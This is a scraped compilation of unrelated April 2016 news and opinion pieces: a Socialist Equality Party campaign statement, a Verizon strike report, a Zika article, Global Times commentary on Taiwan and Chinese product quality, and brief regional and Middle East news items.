Under the fraudulent cover of the unending war on terror, now in its fifteenth year, Obama jettisoned his 2008 election promises. He continued and expanded the war policies of the Bush administration to assert the global domination of US imperialism. With the advent of drone warfare, the White House has been transformed into the planning center for bureaucratically routinized murder. Millions of peoplein Iraq, Libya, Syria and Afghanistanhave been killed, injured or turned into refugees in the wars launched by the United States since 2001.

The regional wars are leading to global conflict. American imperialism will not tolerate either military or economic challenges to its dominant international position. Washingtons pivot to Asia has set into motion a massive military operation aimed at forcing China to accept the global hegemony of the United States. At the same time, the determination of the US to dominate Central Asia has escalated conflict with Russia.

The reckless confrontations provoked by the Pentagonfrom the Baltic regions to the South China Seathreaten to spiral out of control and lead to thermonuclear war. The ongoing preparations for global warfare, which could lead to the deaths of billions of people, are cloaked in lies and secrecy. The SEP campaign will alert workers and youth to the immense dangers they face and build the foundation for a powerful anti-war movement.

2) Put an end to poverty and social inequality!

The SEP fights to abolish a system in which the super-rich exploit the labor of billions of workers around the world. We call for a vast redistribution of wealth to secure basic social rights, including the right to a decent-paying job, quality education, affordable housing, universal health care, a dignified retirement and access to culture.

Eight years after the financial crash of 2008, the disastrous reality of life in America is drastically at odds with official proclamations of economic recovery. While nominal unemployment has fallen since the depths of the recession, this is largely because millions of Americans have dropped out of the labor force. All the growth in jobs over the past decade has been in the form of contingent, part-time or temporary labor.

Social inequality today is greater than ever before. The top 20 billionaires in the US have as much wealth as the bottom 150 million Americans. The rich not only enjoy untold wealth and privilege, they live longer. The life expectancy gap between the richest and poorest Americans averages almost 15 years for men and 10 years for women.

Young people are burdened by more than $1 trillion in student loan debt, millions of people are being cut off from food stamps, and millions more are seeing their pensions and health care slashed or eliminated. The government spends trillions on a vast military machine and so-called homeland security while it allows the countrys public schools and basic infrastructure to collapse. Residents in Flint, Michigan and other cities are supplied drinking water poisoned with lead and other toxic chemicals.

The proposals from Democratic candidates to raise the federal minimum wagewhether to $12 an hour as proposed by Hillary Clinton or $15 as proposed by Bernie Sandersare not only insincere, they are completely inadequate, leaving workers earning poverty-level wages. The Democrats and their allies in the trade union bureaucracy deliberately cover up the fact that the Obama administration has overseen the greatest transfer of wealth in American history, with 95 percent of all income gains since 2009 going to the top one percent.

The SEP advances a program not for the improvement of capitalism, but for the establishment of socialism. The social rights of the working class cannot be secured without a direct attack on the interests of the capitalist class and the domination of the financial aristocracy over economic life. This means an end to the private ownership of the large corporations, with all those valued above $10 billion transformed into publicly owned enterprises under the democratic control of the working class. To provide quality jobs to all those who need them, the SEP calls for a multitrillion-dollar public works program to rebuild infrastructure throughout the country.

3) Defend democratic rights! No to government spying and police violence!

Under the framework of the war on terror, the most basic democratic rights are being ripped to shreds. Since the revelations of Edward Snowden in 2013 exposed to the world the criminal and unconstitutional activities of the NSA, nothing has been done to rein in the power of the intelligence apparatus. Instead, every terror attackwhether in the United States or abroadis used as a justification to give more powers to the state.

The Obama administration proclaims the right to carry out drone assassinations, without any judicial process, of people around the world, including US citizens. It helps arm a militarized police force that kills over 1,000 people a year with impunity. Those who expose the crimes of the American ruling classSnowden, Chelsea Manning, Julian Assangeare thrown in jail or hunted down and forced into exile.

The vast spying apparatus must be dismantled, along with the Pentagons Northern Command, which is overseeing the ever more direct use of the military within the borders of the United States. Genuine democracy is incompatible with an economic system in which all decisions are dictated by a ruling class that controls the giant corporations and banks and demands ever more brutal attacks on the rights and interests of the working class.

Break with the two-party system!

The fight for peace, equality and democracy is inseparable from a fight against the capitalist system, which subordinates the global economy to a criminal financial elite. The oligarchs control the political system and both major parties. To defend their rights, workers need their own party.

The 2016 election campaign has exposed the deep crisis of the two-party system in the United States and the terminal state of American democracy.

On the Republican side, the emergence of Donald Trump, a candidate whose persona and appeal are of a distinctly fascistic character, is a serious warning to the working class. Trumps racist baiting of Muslims and immigrants of Hispanic origin is aimed at dividing workers against each other and creating the conditions for an ever more violent assault on all opposition to the dictates of Wall Street.

Trumps call to Make America great again is a reactionary fantasy. The reality is that American capitalism is in deep crisis, with the ruling class seeking to leverage its military power to offset US capitalisms long-term economic decline. To this Trump wishes to add the construction of a great wallpromoting a virulent form of nationalism that would be the prelude to even more explosive warfare abroad.

Trumps main opponent, Texas Senator Ted Cruz, is no less reactionary, advancing his own brand of fascistic politics based on Christian fundamentalism. Whoever is nominated, the Republican Party will run its most reactionary campaign in history.

Trump has been able to exploit social anger and hostility to the political establishment, and channel it in a right-wing direction, due to the character of official left politics. The Democratic Party, committed to militarism and austerity, is no less the political instrument of Wall Street and the military-intelligence apparatus than the Republicans.

Hillary Clinton, the Democratic Party frontrunner and likely nominee, is the political personification of the status quo. She and her husband, the former president, amassed a fortune by means of political insider dealing and corruption. As first lady, Clinton was part of an administration that carried out far-reaching attacks on the working class; as senator from New York, she supported the war in Iraq and represented the interests of Wall Street; as secretary of state, she organized the intervention in Libya, fomented civil war in Syria and committed countless other crimes.

The widespread popular support for the campaign of Vermont Senator Bernie Sanders is largely based on his identification as a democratic socialist. His unexpected string of victories in state primaries shows that there is an enormous desire among workers and young people for an alternative to capitalism. The scale of his support has exploded the official narrative of American politics, according to which no one claiming to be socialist can get a hearing.

However, Sanders has demonstrated by his long political career that he is neither a socialist nor an opponent of the political establishment. Even when a nominal independent, he collaborated with the Democrats and staunchly supported the Obama administration. He defends capitalism and American imperialism, and he promotes economic nationalism, seeking to scapegoat workers in Mexico, China and other countries for the loss of jobs in the US.

Sanders central role is to utilize his bogus credentials as a socialist to waylay popular hostility among workers and young people to the two-party system and divert it back into the safe channels of the Democratic Party. The experience of the Obama administration, which came to power promising hope and change, has exposed the role of the Democratic Party as an instrument of the corporate and financial elite. With the assistance of the unions and an array of upper middle-class pseudo-left groups, the Democrats have perfected the practice of combining empty demagogy and various forms of racial, gender and identity politics with a thoroughly right-wing and pro-war policy.

If Sanders were to run an independent campaignas urged by some of his political backersthis would not change the character of his campaign. His program is based on defense of the capitalist system and opposition to a political movement of the working class.

The same applies to the nominally independent campaign of the Green Party. The Green Party is a capitalist party that functions as an external pressure group on the Democrats. When Green parties have participated in governmentsmost notably in Germanythey have invariably backed the policy of the ruling class, including attacks on workers at home and support for imperialist war abroad.

An internationalist and socialist program for the working class

White and Niemuth will address their campaign to workers all over the world, not just in the United States. What happens in the United States has global implications, and the struggle against the American ruling class can be waged only as an international struggle. The same conditions that exist in the United States are repeated in country after country and have already led to explosive social upheavals, from the revolutionary events in Egypt in 2011, to the mass strikes in China and India, to the protests this spring in France against the state of emergency and reactionary labor laws.

The SEP campaign fights to unite all sections of the working class in a common struggle. Our campaign rejects all forms of nationalism, chauvinism and bigotry, used by the ruling class to divide workers against each other.

In the United States, there are growing signs of radicalization, including the rebellion of autoworkers last year against the United Auto Workers sellout contracts and the current strike by Verizon workers. American workers are increasingly turning to politics and seeking radical solutions to the conditions they confront. The ruling class, determined to control the world, will find that it does not have control of its own house.

The basic aim of the SEP election campaign is to build support for socialist policiesto speak to and educate masses of workers and youth who are looking for a way forward. Many are beginning to ask the question: What is socialism? Our campaign will answer this question, distinguishing genuine socialist politics from its various counterfeits.

We urge you to get involved in the campaign. Now is the time to take up an active fight for socialism! This is not a campaign only about votes. It is about the organization of workers and young people to prepare for the struggles into which they are entering.

There are many ways you can get involved. Sign up for our email newsletter. Join the campaign by building election committees in your area. Organize a meeting in your area. Help get us on the ballot where that is possible. Promote the campaign among your friends and co-workers. Donate to ensure that the SEP can wage the most aggressive campaign possible.

A new way forward must be forged! To all workers fighting to defend their jobs and living conditions, to young people drowning in debt and without a future, to the millions who are sick of endless war, we say: This is your campaign! Get involved today!

To get involved in the campaign, visit sep2016.com today.
Top executives at Verizon are remaining intransigent in their demands for sweeping health care, pension, wage and other concessions as the strike by 39,000 telecom workers in the Northeastern and Mid-Atlantic US states entered its second week Thursday. After negotiations went nowhere earlier in the week, the company ramped up its provocations against workers, accusing strikers of sabotage and demanding the arrest of workers allegedly engaged in criminal acts.

On Tuesday, negotiators from the Communications Workers of America (CWA) District 1 and the International Brotherhood of Electrical Workers (IBEW) Local 2213 and New England Regional Committees reportedly met with the Verizons bargainers in Rye, New York.

Union officials said the company refused to budge on its 6.5 percent wage increase over the three-year term of the contract, its demand for competitive retirement benefits and structural changes to its health plan due to rising health care costs. The company also wants virtually unlimited power to transfer workers over wide geographic areas for months at a time to make up for manpower shortages.

It is clear that Verizonand the powerful financial interests behind itprovoked the strike in order to deliver a punishing defeat to workers and roll back the gains won by workers over generations of struggle. While union leaders were offering hundreds of million of dollars in concessions and forcing workers to labor without a contract for eight months, the company was carefully putting its strikebreaking plans into effect.

An article Thursday on the web site 24/7 Wall St. noted Strikebreakers are hard at work at Verizon Communications Inc. (NYSE: VZ), some working 12-hour shifts to fill in for some 40,000 union workers on strike since April 13. Verizon is already quite experienced when it comes to strikes by the Communication Workers of America, but there are crucial differences between this strike and the five others since 1971. This time, Verizon looks very well prepared.

It continued, In terms of short-term preparation, after streamlining its training process after a two-week strike of 45,000 workers in 2011, the telecom giant was able to organize 10,000 strikebreakers in advance and have them already trained on contingency. That replaces less than a quarter of the striking workforce, but depending on the efficiency of non-union replacements over union labor, it may have Verizon operating at more than a quarter capacity of the strikers during the strike. The very fact that training was set up in advance shows that the strike may be a planned move by Verizon.

In the face of this attack, the CWA and IBEW have done nothing but organize various publicity stunts and photo-ops with Democratic Party politicians from Bill and Hillary Clinton to Bernie Sanders, whom the CWA endorsed. The union officials have sown the most sickening complacency by claiming such impotent measures will force the company to bargain.

As one worker noted, the CWA had bet the entire farm on the Democratic primary in New York. Now that the Bernie [Sanders] ship sank they have no clue what to do next. Theres no leadership from the local. Were standing in the street with nothing to show for it.

There is enormous support for a genuine struggle, with striking workers winning widespread sympathy from workers in New York City, Boston and other cities. Typical was the sentiment expressed by a New York City school bus driver, Sonia Concepcion, who was parked where she could watch the picket line of Verizon workers.

Asked by the WSWS Verizon Strike Newsletter what she thought about the telecom workers struggle, she said, You know we went through that too. [Former New York Mayor] Bloomberg gave the green light to owners of the school bus companies to do whatever they want, and the [Current Mayor] Bill de Blasio does the same. Obama does not do anything. They only give cheap medical, take it away to put it in their pocket. We should all be together, like school bus, sanitation, teachers, home health careall go on strike in one shot. Workers should be out together.

The CWA, IBEW, AFL-CIO and Change to Win unions, which are aligned with Obama and the Democrats, are opposed to such a unified struggle. They are concerned that a successful fight by Verizon workers would serve as catalyst for a far broader movement of the working class, which under the Obama administration has suffered the longest period of wage stagnation since the Great Depression even as corporate profits, CEO pay and the stock market hit record levels.

The main concern of the CWA and the IBEW is to expand their dues-paying membership by joining the Democrats to pressure Verizon to expand its FiOS fiber optic system to less profitable markets. The unions are more than willing to impose whatever concessions are needed to accomplish this goal, as well as to get a bigger foothold in Verizons largely nonunion wireless division.

The treachery of the unions has opened up workers to great dangers, including mass firings, arrests and frame ups. After the betrayal of the strike in 2011, Dennis Trainor, now CWA District 1 vice president, agreed to a back to work settlement that gave the green light to the firing of workers for picket line misconduct and using hate speech against scabs.

The stakes have now been raised, with charges that strikers are carrying out sabotage. According to the telecom industry web site fiercecable.com, Verizon said that it has experienced 24 separate instances of sabotage in which criminals have damaged or destroyed critical network facilities, with some of these occurrences leading to customer outages.

We will find out whos behind these highly dangerous criminal acts and we will pursue criminal charges, Michael Mason, Verizons chief security officer, said in a statement. These perpetrators are putting lives at risk and these dangerous acts need to stop.

The company made the same allegations in 2011. Citing national security concerns, the FBI, under the direction of Obamas Justice Department, opened up an investigation into the bogus claims, with one FBI special agent issuing a provocative email connecting the alleged incidents to the September 11 terrorist attacks.

Soon afterwards, the New York Post reported that New York City deployed police officers, including members of an anti-terror unit, to escort strikebreakers across picket lines and monitor picketers.

If the strike is not to be isolated and defeated, workers must take the initiative themselves, through the formation of rank-and-file strike committees, to reach out to the broadest sections of the working class to wage a common struggle to defend the social rights of all workers.

On Wednesday, over 1,000 workers rallied outside of Verizons Chesapeake Complex in Silver Spring, Maryland, where managers and contractors from around the country have been brought in to coordinate the companys strikebreaking operations.

Several workers at the mass picket spoke to the WSWS Verizon Strike Newsletter. Timothy said he had concerns about the direction Verizon was heading. After the 2011 strike, wire technicians had been forced to work 10-12 hours daily by the company, as well as deal with harassment by management. It feels like weve got a boot on our neck, he said.

Gail, a customer service technician with over 14 years at Verizon, described her job as being a customer service technician as well as customer psychiatrist, we basically put out fires for the company. Gail said she had a problem with us workers having to make sacrifices, why doesnt management ever make sacrifices? They all have gotten raises.

Regarding the CWA sellout in 2011 she said, We ended up giving up our health care coverage, and then giving, and giving and giving. Speaking of Obamas so-called Cadillac Tax, which the company is citing to demand higher health care contributions from workers, Gail said, I dont know what that means to have too good a health care plan. Is it too generous because I dont have to mortgage my home in order to receive health treatment?

The Democrats and Republicans could care less about working people, unless youre a person of means. In [the Washington, DC] area, I see homes going for over $800,000 and more, how can a working person afford that?

Reporters for the Newsletter also spoke with strikers at Verizons building in mid-Manhattan Thursday. Val, a technician for 20 years, thought the union would not shut down the strike like it did after two weeks in 2011. What is different is the union is not going to break the strike before a contract. In 2011, the union sold out because it sent us back to work without a contract. The company wants arbitration but we always get screwed in arbitration.

I think that when the unions were put in place, they were fighting especially for basic things like safety, like after the Triangle Shirt Waist factory fire. Until the last strike, we were staying at a level playing field. Now we are paying for medical. Now the unions are just collecting dues. It would be good if everybody, all the workers, got together like you suggest. Unions started with a rank-and-file movement.

Al, a Verizon technician with 28 years experience, pointed out, People are not hearing about the strike because Verizon has ties with broadcast networks, stadiums and events with which they try squash a lot of the news about our strike. Even ads we take out sometimes are rejected. Some of the media here wont take them.

I think the biggest thing about this strike is that Verizon has a CEO [Lowell McAdam] who does not even bother to hide the fact that he wants to break the union. The previous CEO, Ivan Seidenberg, even if he did not like the union, he respected it. He had come up from being a wire-splicer helper. I think I understand what capitalism is but capitalism has changed. Now they want us to take cuts in everything: health care, pensions. I am out here because for 20 years we have lost benefits. This company makes a billion dollars every quarter and is trying to take away benefits.

In a message posted on the WSWS Verizon Strike Newsletter Facebook page, a striker praised the Newsletter for telling the truth. Im a picketer from the West 39 Street FiOS garage in NYC. The mainstream media has almost totally ignored our strike except when politicians stopped by the line during the primaries. This newsletter is the best source Ive found for keeping up to date on thing. Its independent of the biases found in the official strike reports we get from the local and the company.
Over the past week, leading health officials warned that they expect cases of local Zika virus transmission to emerge in the United States. The virus is currently spreading throughout Latin America and is responsible for a sharp spike in birth defects and neurological disorders. So far, cases within the US have been limited to people who contracted the virus abroad, and their sexual partners.

On Sunday, Dr. Anthony Fauci who works for the National Institutes of Health, told CBSs Face the Nation that with infections that are quite similar to Zika, like dengue and chikungunya, which are transmitted by exactly the same mosquito and have been in the Caribbean, South America for awhile, we have seen in the past little clusters of local transmitted cases within the country. He added that there was no cause for alarm because in the past, we have successfully prevented [outbreaks] from becoming sustained and disseminated.

In a New York Times op-ed piece, the dean of the National School of Tropical Medicine at Baylor College warned that without a coordinated response the Zika virus could sweep through the Gulf Coast, creating a catastrophe to rival Hurricane Katrina. He noted that the same mosquitos, poverty, and overcrowding that allowed Zika to infect over a million Brazilians in a couple of years exist throughout the Gulf region.

The Zika virus is spread primarily by the Aedes Aegypti mosquito, which is well adapted to urban environments. It is capable of breeding with just small amounts of stagnant water like that found in discarded tires, plastic containers, or drainage ditches. Crowded housing conditions with torn or insufficient screens then allow the mosquito to spread the disease widely.

Secondarily, the Zika virus can be sexually transmitted, which can extend an outbreak beyond the extent of the Aegypti mosquito.

Fundamentally, Zika is a disease of poverty. Basic sanitation and water infrastructure significantly reduce mosquito populations, and the cost of mosquito netting to prevent bites averages less than 50 cents a year per person.

The US territory of Puerto Rico, where 45 percent of the population is below the poverty line, demonstrates this. As of mid-April there were four cases of Zika contracted abroad and 471 cases transmitted locally by mosquito in Puerto Rico, according to the Centers for Disease Control (CDC). In comparison, there were no local mosquito transmissions in the states and 358 travel-associated cases.

Stephen Waterman, a CDC researcher, told NBC News that 15 to 20 percent of Puerto Ricans are at risk of contracting the virus, or nearly half a million people. A major outbreak would hit the island particularly hard due to budget cuts to health care resulting from its $72 billion debt crisis. San Jorge Childrens Hospital is the largest on the island, and has had to close wings, leave 100 staff positions unfilled and cut pay when the territory failed to make a $250 million payment to hospitals last year.

Funding to combat the disease and prepare for potential outbreaks is entirely lacking. The CDCs request for just under $2 billion in funding from February is still being negotiated behind closed doors in the Senate. The amount requested is slightly more than the daily discretionary spending of the Department of Defense.

In the meantime, the CDC is relying on $589 million previously allocated to fighting the Ebola epidemic that killed over 11,000 in West Africa, for fighting the Zika virus.

The full impact of the current Zika epidemic is impossible to measure. The extent of the Zika virus in Latin America can only be roughly estimated because there are no simple tests for the presence of the virus, and the majority of people who contract the disease show no symptoms. The epidemic within Brazil was only discovered at least a year after it began, due to the sharp spike in microcephaly cases.

Worldwide, over 2 billion people live in areas that are conducive to Zika transmission.

Moreover, the long term effects of the Zika virus are poorly understood. Some of the microcephaly cases caused by Zika meet the criteria of an exceptionally rare condition known as fetal brain disruption sequence, where the fetal brain first develops and then collapses. It is a much more severe condition than the brain failing to fully develop in more traditional cases of microcephaly.

In addition to birth defects, Zika is associated with neurological disorders in adult patients, particularly Guillain-Barre syndrome, an autoimmune nervous disorder, as well as inflammation of the brain or spinal cord. Before the Zika outbreak, these conditions were usually temporary, but a recent study of six patients in Recife, Brazil showed five had sustained motor dysfunction, one had cognitive decline and one had vision problems after they were discharged.

Although the Zika virus was first isolated in Uganda in 1947, little is known about it. There is no scientific consensus on whether the neurological disorders caused by the disease in the current outbreak are new. They could be the result of a new strain of the virus evolving, or it could have been a longstanding feature of Zika fever that went unnoticed until the massive outbreak in Brazil made the connection obvious.

It is an indictment of the capitalist system that diseases like Zika can be known for 70 years and yet not studied because there is no profit to be made. Without a fundamental change in social conditions, including universal health care to catch new diseases quickly and medical research based on social need instead of drug companies profits, epidemics like Zika and Ebola will continue to emerge.
S.Korea's Top Envoy to Visit China for Talks on DPRK Nuke Program

A file photo of chief South Korean envoy for six-party dialogue Kim Hong-Kyun. Photo: [Yonhap News]

South Korea's top envoy at the long-stalled six-party talks will visit China on Friday to discuss North Korea's nuclear program with his Chinese counterpart.

Kim Hong-Kyun, chief South Korean envoy for six-party dialogue to denuclearize the Korean peninsula, will come to China to meet with Wu Dawei, China's special representative on Korean peninsula affairs.

Kim Hong-Kyun and Wu will assess the Korean peninsula situation based on the results of China-South Korea summit held in Washington in March.

The two diplomats will also discuss comprehensive cooperation between the two countries regarding North Korea's nuclear program.

The six-party talks, which involve South Korea, North Korea, China, the United States, Russia and Japan, have been stalled since late 2008.

The United States Thursday also sent a special envoy for North Korean affairs to China.

Sung Kim met with Wu Dawei after making a stop in Seoul to meet South Korean and Japanese officials.

Sung Kim is working to determine what response will be appropriate should Pyongyang test another nuclear weapon.

"The US and China remain united in our firm opposition to North Korea's proactive and irresponsible behavior, and on the importance of implementing UN Security Council Resolution 2270 fully and faithfully, and of course our common pursuit of complete denuclearization of Korean peninsula."

North Korea is already subjected to international sanctions following a previous nuclear test and launch of a long-range rocket earlier this year.

Those sanctions include a significant ban on the import and export of products to and from North Korea and China.

Increased activity has been reported around North Korea's main nuclear testing site in the country's northeast, leading to speculation Pyongyang's leadership is preparing another nuclear weapons test ahead of a key political meeting next month.
PERRY, FL (WTXL) - Garrett Arrowood has been found guilty of murdering his aunt, Taylor County teacher Shelly Strickland.

According to Arrowood's attorney Baya Harrison, the six-person jury ruled Friday that he was guilty of all charges, including first degree murder, armed burglary and dealing in stolen property.

The trial began Monday in Perry, where Arrowood was accused of murdering his aunt, 50-year-old Shelly Strickland.

Strickland was found shot to death inside her car at her residence on Osteen Road in Perry on June 24, 2015.

Two other people, Manden Whiddon and his father Rodney Whiddon, were indicted in January on first degree murder charges for her death as well. The trial for the other two suspects has not started.

Sentencing is scheduled for Wednesday. As part of the deal to have a six-person jury, the death penalty is not an option.
HOFFMAN ESTATES, Ill. -- In its latest effort to return to profitability, Sears Holdings, the company which owns Sears and Kmart stores, announced another round of store closings Thursday.

The Kmart in Perry on Byron Butler Parkway is among 68 Kmart stores around the country to be shut down. Liquidation sales are scheduled to start May 12, with the closing to occur in late July.

Sears Holdings CEO Edward Lampert called the decision to close stores "difficult" but necessary to focus on existing profitable stores and transforming the business to adapt to ways customers shop.

Employees at stores set to close are eligible for severance, or transfer to other Kmart or Sears stores.

The closing list includes ten Sears stores, though none of them are in the local area. Per the store locator on the Kmart website, Kmart stores remain open in Tifton and Albany, Ga.
(Global Times) 10:38, April 22, 2016

The US Foreign Affairs Committee of the House of Representatives on Wednesday passed a bipartisan measure to reaffirm the "Six Assurances" to Taiwan, the guidelines used in conducting relations between the US and Taiwan, right before the Democratic Progressive Party (DPP) comes to office.

The "Six Assurances" were put forward by former US President Ronald Reagan with the purpose of consolidating US support to Taiwan. Under the guidelines, the US would not set a date for ending arms sales to Taiwan, would not revise the Taiwan Relations Act, would not hold prior consultations with the Chinese mainland regarding arms sales to Taiwan, would not play a mediation role between the mainland and Taiwan, would not pressure Taiwan to enter into negotiations with the mainland and would not formally recognize the mainland's sovereignty over Taiwan.

It is not a big deal for the committee to reiterate the six promises. But it is silly if the DPP makes a big fuss of it.

The geopolitical context of the Taiwan question has profoundly changed compared with the Reagan era. The Six Assurances are not as significant as before. It even has become an obscure political term, which reflects its real value.

In 1982, Taiwan could link its fate to relations with the US more. But today, the mainland exerts a bigger influence on Taiwan's future than the US. Any statement, be it made by the Foreign Affairs Committee, the Pentagon or the White House, is unlikely to become a decisive factor of the Taiwan question anymore.

US arms sales to Taiwan are unable to affect the balance of power across the Straits as they did 30 years ago. Now the deal acts more as a link between the US and Taiwan, plus the US arms dealers can make money from it.

Washington could be more actively using the Taiwan card to deal with the mainland after Tsai Ing-wen takes office. That will cause tensions in Sino-US relations, but can never mean a turning point of Taiwan independence.

Taiwan independence is doomed to fail. This has become more certain now than eight years ago when Ma Ying-jeou came to power. There is a narrowing gap between China and the US in terms of national strength, and the balance of power between the two within the first island chain of the West Pacific has changed. The Taiwan question now is a "domestic affair" in its true sense.

Under modern military technology, the Taiwan Straits cannot serve as a defensive shield any more. The US has been always confident about the odds of military intervention anywhere in Asia, but it has to calculate carefully when it comes to the Taiwan question.

Besides military uncertainties, US intervention within the first island chain also has great global strategic risks. A tumble here will implicate its global hegemony.

Washington understands it cannot afford to challenge China's core interests, and therefore it does not want pro-Taiwan Independence forces to cross the red line.
(Global Times) 08:38, April 22, 2016

Chinese shop overseas due to quality scandals

The central government on Wednesday announced a plan to improve the quality of China-made products, in an apparent bid to enhance international competitiveness and boost consumer confidence in domestic goods.

Issued by the State Council, China's cabinet, the plan listed specific consumer goods such as air filters, rice cookers and electronic toilet seats, which Chinese go overseas to purchase, and has sparked a debate on the quality of China-made goods.

The government will take special measures to improve consumer goods, particularly those Chinese demand the most, including smartphones, toys, children's clothes and furniture, the State Council said in the plan published on its website.

The move drew mixed reactions online, with some mocking the State Council for being too specific, and others saying the government has finally responded to their concerns over the quality of domestic products.

Experts said the public response is understandable, as China faces pressure to improve the quality of domestic goods to meet rising standards.

Although the general manufacturing capability of Chinese companies has been growing steadily in recent years, the lack of confidence in Chinese products' quality, punctuated by scandals, has compelled Chinese citizens to shop in countries such as Japan, the US and in Europe.

"The government should not list specific items, and instead focus on macro policies to encourage the manufacturing sector to upgrade and transform," said Yang Danhui, a research fellow at the Institute of Industrial Economics of the Chinese Academy of Social Sciences (CASS).

For the government to be involved too much in the process could have unintended consequences, such as limiting creativity and innovation, Yang told the Global Times on Wednesday. She said the government should leave enough room for companies to innovate.

"And there is enough pressure and motivation for companies to produce high-quality products because Chinese consumers' standards are rising," Yang added.

Pressure to improve quality and protect consumer rights also comes from the growing access to foreign alternatives, according to Xu Hongcai, director of the Economic Research Department under the China Center for International Economic Exchanges.

"Under such an open environment, if Chinese consumers are not satisfied with domestic goods, they can go the US or Japan to buy them," Xu told the Global Times on Wednesday.

Billions spent abroad

The number of Chinese who travel overseas has rapidly been rising along with the amount of money they spend. In 2015, the Chinese spent $215 billion outside the mainland, or a 53 percent increase from the previous year, according to data from the World Travel &Tourism Council.

Luxury goods, cosmetics and infant formula are among the products most sought after by Chinese who travel overseas, according to media reports. And in Japan, electronic toilet seats, which can spray wash, blow dry and massage, and rice cookers attract many Chinese visitors.

The trend sparked an online debate about domestic product quality and the rising standards of some consumers. It even drew the attention of Premier Li Keqiang, who commented on the trend in a press briefing last April, saying "consumers have the right to more options and we have an open attitude about it, and this will also pressure us to upgrade our industries," chinanews.com reported at the time.

Soon after Li's remarks, in May, the State Council unveiled the "Made in China 2015" plan, which aimed to upgrade and transform the country's manufacturing sector and improve the quality of China-made goods.

Wednesday's plan is part of long-term efforts to make China's manufacturing industry more competitive, said Xu, adding under a persistent slowdown in the country's economy, such a move is necessary to boost demand.

The real problem is poor regulation and low quality standards, Xu added. "So what we need is robust measures, including ousting inefficient factories and protecting intellectual property, to create a favorable environment for innovation."
SEATTLE  Authorities on Tuesday dropped murder charges against one of two brothers who had been accused of killing a couple in rural Washingt
MABTON, Wash.  Mabtons water system has passed the first of two tests to determine if fecal bacterial contamination has been eradicated.
Amer F. Ahmed, an intercultural diversity consultant, college administrator, facilitator, poet and Hip Hop activist and one of the three keynote speakers at the event, talks about diversity and inclusion at the 2016 Students of Color Conference at the Yakima Convention Center on Thursday, April 21, 2016 in Yakima, Wash. (MASON TRINCA/Yakima Herald-Republic)
The Rocky Mountain wood tick, which is found in Eastern Washington. (Photo courtesy of Center for Disease Control and Prevention)
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The delegation of senior judicial officials from Taiwan arrives in Beijing on April 20, 2016, for a telecom fraud case involving 45 suspects from Taiwan. [Photo: Chinanews.com]

A delegation from Taiwan has visited telecom fraud suspects being held at a detention center in Beijing.

The delegation of senior judicial officials from Taiwan arrived in Beijing on Wednesday saying that they hoped to find a means to jointly examining the cases and guarantee the rights of those who have been arrested.

CRI's Li Jianhua takes a closer look at the latest developments in fraud case.

It is estimated that fraud syndicates led by suspects from Taiwan are causing losses of some 1.5 billion U.S. dollars to mainland victims each year.

Police from the mainland and Taiwan have been working together to arrest more than 7,700 fraud suspects, about 4,600 of whom are from Taiwan.

In many of the cases handled in Taiwan, mainland victims were unable to recover their losses. So far only 32,000 U.S. dollars have been recovered.

To the frustration of victims and the authorities, some suspects have been released as soon as they returned to Taiwan and resumed their criminal activities.

Earlier this month, 77 fraud suspects were deported by Kenya to Beijing, 45 of them come from Taiwan.

The detentions prompted Taiwan to send a delegation to Beijing to discuss the issue.

On Thursday morning, the delegration visited the Beijing Haidian detention center, and watched the questioning process by video, and were brought up to date with the case details.

Chen Wen-chi is the head of the delegation. She said she is satisfied with the treatment of the suspects.

"The center has made special arrangements to meet our requests in keeping with the relevant rules of the Chinese mainland. We have acquainted ourselves with the conditions of the suspects from Taiwan in the center. They are well, and have adapted to the life here all right."

The cases of those deported from Kenya, and the recent release of suspects in Taiwan who have been sent back from Malaysia, has prompted heated debate, with growing calls for justice for the victims of fraud.

Chen Shiqu, vice inspector of Ministry of Public Security, has confirmed that all suspects will be tried on Chinese mainland.

"This criminal gang set up branches in Kenya to target at people of the Chinese mainland. All the victims are in the Chinese mainland and some suspects are also people of the Chinese mainland. We will carry out investigations and file lawsuits based on the laws of the Chinese mainland."

Chen says the 45 Taiwan suspects have already "admitted their guilt.

Wang Jianxin, director of the Haidian detention center, said human rights of the suspects will be assured.

"If they have hired lawyers, then they can come for help. If they don't employ lawyers, we will offer legal aid to them including legal consultation. We have a remote legal consultation service. If they are not familiar with the knowledge of the law, we have a remote room for them to consult lawyers for remote help. If they need lawyers after consultation, we have legal aid."

Wang says the suspects are held in 45 different rooms to prevent collusion and have access to lawyers.

In a separate development on Thursday, 18 fraud suspects repatriated from Malaysia were re-arrested in Taiwan. Two others have been banned from leaving the island less than a week after being released due to lack of evidence.

Prosecutors say they have obtained evidence from Malaysia, sufficient to impose compulsory measures on the suspects.
A delegation of 38 Israeli captains of industry went to Egypt under the framework of the Qualifying Industrial Zones (QIZ) last week for the first time in 10 years.

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The delegation was sent in an attempt to determine the viability of strengthening Israeli economic cooperation with Egypt.

The industrialists were warmly welcomed by their Egyptian counterparts, who were enthusiastic about the prospect of enlarging the scope of trade between the two countries. A similar delegation of Egyptian industrialists is expected to visit Israel at the end of 2016.

Very little has been done to develop IsraelEgypt trade and economic relations over the past few years. Now, however, with renewed political stability in Egypt, the council decided to open once again to encourage the strengthening of ties between the two countries and to strengthen the interpersonal relationships between the two peoples.

Egyptian President Abdel Fatah a-Sisi

Chairman of the Egyptian Textiles Union, Mohammed Qasem, prepared the meeting schedule, whereby the Israelis met with Egyptian and other existing customers, and had the Israeli industrialists go on tours of local Egyptian factories.

Most of the industrialists who took part in the delegation work in textile, chemical, plastic, or packaging production, and were looking into the possibility of expanding exports of different products to Egypt.

Israeli exports to Egypt in 2015 amounted to $113.1 million, compared to $147.1 million in 2014. Meanwhile, Israeli imports from Egypt are much less: $54.6 million dollars worth in 2015 and $58.3 million in 2014.

2011 was the last year that trade between the two countries was at full strength, with Israel exporting $236 million worth of goods to Egypt and imports of $178.5 million. The drastic reduction in trade came about as a result of the Egyptian Revolution which came about as part of the Arab Spring.

Meanwhile, the Muslim Brotherhood and other opposition party members have attacked Egyptian President Abdul Fatah a-Sisi for trying to create a high level of normalization with Israel. Their indignation began as a result of the Central of Egypt's decision to allow the foreign exchange of shekels. It's the first time that the bank has recognized Israeli currency, and even set an exchange rate: 2.19 Egyptian pounds to a shekel.
Take a good look at King Salman of Saudi Arabia: he's elderly, deep into his 80s, and his health is far from the best. He has difficulty speaking and walking, and those who have been in his presence report that his memory is failing him and that he gets disoriented frequently. His advisors will cancel meetings without explaination, and whenever he has to make a speech, someone else will read it out loud.

